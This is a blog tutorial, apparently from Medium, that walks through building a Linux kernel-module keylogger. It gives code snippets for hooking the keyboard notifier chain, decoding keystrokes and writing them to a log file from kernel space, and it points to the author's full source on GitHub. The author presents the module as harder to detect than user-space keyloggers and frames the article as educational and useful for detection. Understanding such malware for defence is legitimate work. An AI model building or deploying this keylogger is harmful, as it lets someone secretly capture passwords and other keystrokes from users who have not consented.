Developing a Linux Kernel Module Keylogger

Emanuele Santini
5 min readMar 19, 2024

--

Is it easy to enable a keylogger on Linux?

A keylogger is a type of software or hardware device that records the keystrokes typed on a computer or other electronic device. This can include letters, numbers, symbols, and special keys like Enter or Backspace. Keyloggers are often used for monitoring user activity, both for legitimate purposes such as parental control or employee monitoring, as well as for malicious purposes such as stealing sensitive information like passwords or credit card numbers.

There are various solutions available for creating a keylogger on Linux. Many of them can operate without requiring root permissions, but they often come with limitations or rely on intercepting X11 input system events, running atop the window manager.
Here, I want to introduce a Keylogger that operates within the Linux Kernel, created using a basic module. Kernel Module Keyloggers offer several advantages; They are independent from the Window Manager and operate at a lower level of the operating system, making them harder to detect compared to user-space keyloggers.

The purpose of this article is purely educational and does not intend to encourage any malicious behavior. Understanding how a Kernel Keylogger works could help you to detect if on your system runs a malware like this.
Additionally, this article will walk you through understanding concepts such as how input system events operate in the Linux Kernel, utilizing the work queue to execute deferrable functions, and writing files directly from the kernel.

On my GitHub you can check the kernel keylogger solution that I am discussing:
https://github.com/emalele1688/linux-kernel-examples/tree/main/kernelKeyLogger.
Here, I aim to demonstrate the principles behind how I developed this kernel module, without providing a detailed explanation of each code line. And the code shows here will be only an example. For the complete module code, please refer to my GitHub repository.

The Linux Input Subsystem

The Linux Input subsystem is a framework within the Linux kernel responsible for managing input devices such as keyboards, mice, touchscreens, game controllers, and more. Its primary role is to handle the flow of input events generated by these devices and to deliver them to user-space applications for processing.

The Input Subsystem API is documented here.

Here’s an overview of how the Linux Input subsystem works:

  1. Device Drivers: The subsystem interacts with device drivers that are responsible for communicating with hardware input devices. These drivers provide an interface for the kernel to receive input events from the hardware. Here an example on how to create an Input device driver.
  2. Event Handling: When a user interacts with an input device (e.g., pressing a key on a keyboard or moving a mouse), the corresponding device driver generates an input event. These events are then passed to the Input subsystem for processing.
  3. Notification chain: Key events are sent to the Keyboard notifier, which is a Notification Chain responsible for dispatching keyboard events to all registered callbacks.

An efficient kernel keylogger could register a callback on the Keyboard notifier system to retrieve input events. This can be easily implemented within a kernel module:

static int __init k_key_logger_init(void)
{
struct keyboard_logger keyboard_notifier;
keyboard_notifier.notifier_call = keyboard_callback;
register_keyboard_notifier(&keyboard_notifier);

return 0;
}

Where the keyboard_callback is a function that we will handle the keyboard input events. We could implement the keyboard_callback like this:

#define TMP_BUFF_SIZE 16 // Choose an arbitrary value for the temp buffer. 16 Bytes will be enough

int keyboard_callback(struct notifier_block *kblock, unsigned long action, void *data)
{
char tmp_buff[TMP_BUFF_SIZE];
memset(tmp_buff, 0x0, TMP_BUFF_SIZE);

struct keyboard_notifier_param *key_param = (struct keyboard_notifier_param *)data;
size_t keystr_len = keycode_to_us_string(key_param->value, key_param->shift, tmp_buff, TMP_BUFF_SIZE);

if(keystr_len > 1)
printk("%s\n", tmp_buff);

return NOTIFY_OK;
}

This example callback will print the keystrokes entered by the user. Each time a key on the keyboard is pressed and released, this callback will print the corresponding key.
The event data is encapsulated into a struct keyboard_notifier_param type, that contains the following field:

struct keyboard_notifier_param {
struct vc_data *vc; /* VC on which the keyboard press was done */
int down; /* Pressure of the key? */
int shift; /* Current shift mask */
int ledstate; /* Current led state */
unsigned int value; /* keycode, unicode value or keysym */
};

And it is implemented here.

The function keycode_to_us_string will convert the Unicode integer value of the symbol key (contained in the value field of the previous struct) to a human-readable character representing the pressed key. Check the code to see how it works.

In the Kernel Keylogger code you’ll find the keyboard_callbackfunction implemented similarly to the one we’ve just demonstrated. The key difference is how we handle keystrokes: instead of printing them with printk, we plan to write them to a file.

Writing the keystroke to a file

The keyboard notification chain operates within an atomic context. This implies that the keyboard_callback function is executed as an interrupt. Sleepable operations, such as writing to a text file, are not permitted within an interrupt context because they are not schedulable entities.
Writing into a file is a slow operation that couldn’t be executed in a interrupt context, so, if we want to write the input keystrokes received by the keyboard_callback function to a file we need to create a kernel process, using the Work Queue. Here you’ll find more about the Work Queue.

In my Keyboard Logger code you’ll find the following code for work task initialization:



static int __init keyboard_logger_init(void)
{
// .....

INIT_WORK(&klogger->writer_task, &write_log_task);

// .....
}

We are setting up a work task, that we can start each time we want, using the kernel function schedule_work(&klogger->writer_task). This work is the writer task.
We are calling the schedule_workon the flush_buffer method:

void flush_buffer(struct keyboard_logger *klogger)
{
// Swap the buffer
char *tmp = klogger->keyboard_buffer;
klogger->keyboard_buffer = klogger->write_buffer;
klogger->write_buffer = tmp;
klogger->buffer_len = klogger->buffer_offset;

// Start to write the buffer to the log file
schedule_work(&klogger->writer_task);

// Reset the keyboard buffer
memset(klogger->keyboard_buffer, 0x0, MAX_BUFFER_SIZE);
klogger->buffer_offset = 0;
}

The purpose of the flush_buffer function is straightforward: we aim to switch the buffer used by the keyboard_callback, where keystrokes are being written, with the one being read by the writer_task to write to the file.

The writer task will write the keystroke to the specific file:

void write_log_task(struct work_struct *work)
{
struct keyboard_logger *klogger;

klogger = container_of(work, struct keyboard_logger, writer_task);

kernel_write(klogger->log_file, klogger->write_buffer, klogger->buffer_len, &klogger->file_off);
}

The kernel_write function is used for writing a file in Kernel Space. Be careful to use it!

Conclusion

The main focus of the article was to discuss my kernel keylogger solution. If you have any ideas on how to enhance my code, feel free to share them with me, and remember to read the code on my GitHub repository.

Thank You for reading!

Should you find this article beneficial, please remember to click the Follow and Clap buttons to support the creation of more content like this.

You can contact me on: emanuele.santini.88@gmail.com and LinkedIn

--

--

Emanuele Santini

Hello! I'm a GNU/Linux Developer for both Kernel space and User applications. Enthusiast to share with you my knowledge on Linux, Cybersecurity and Embedded.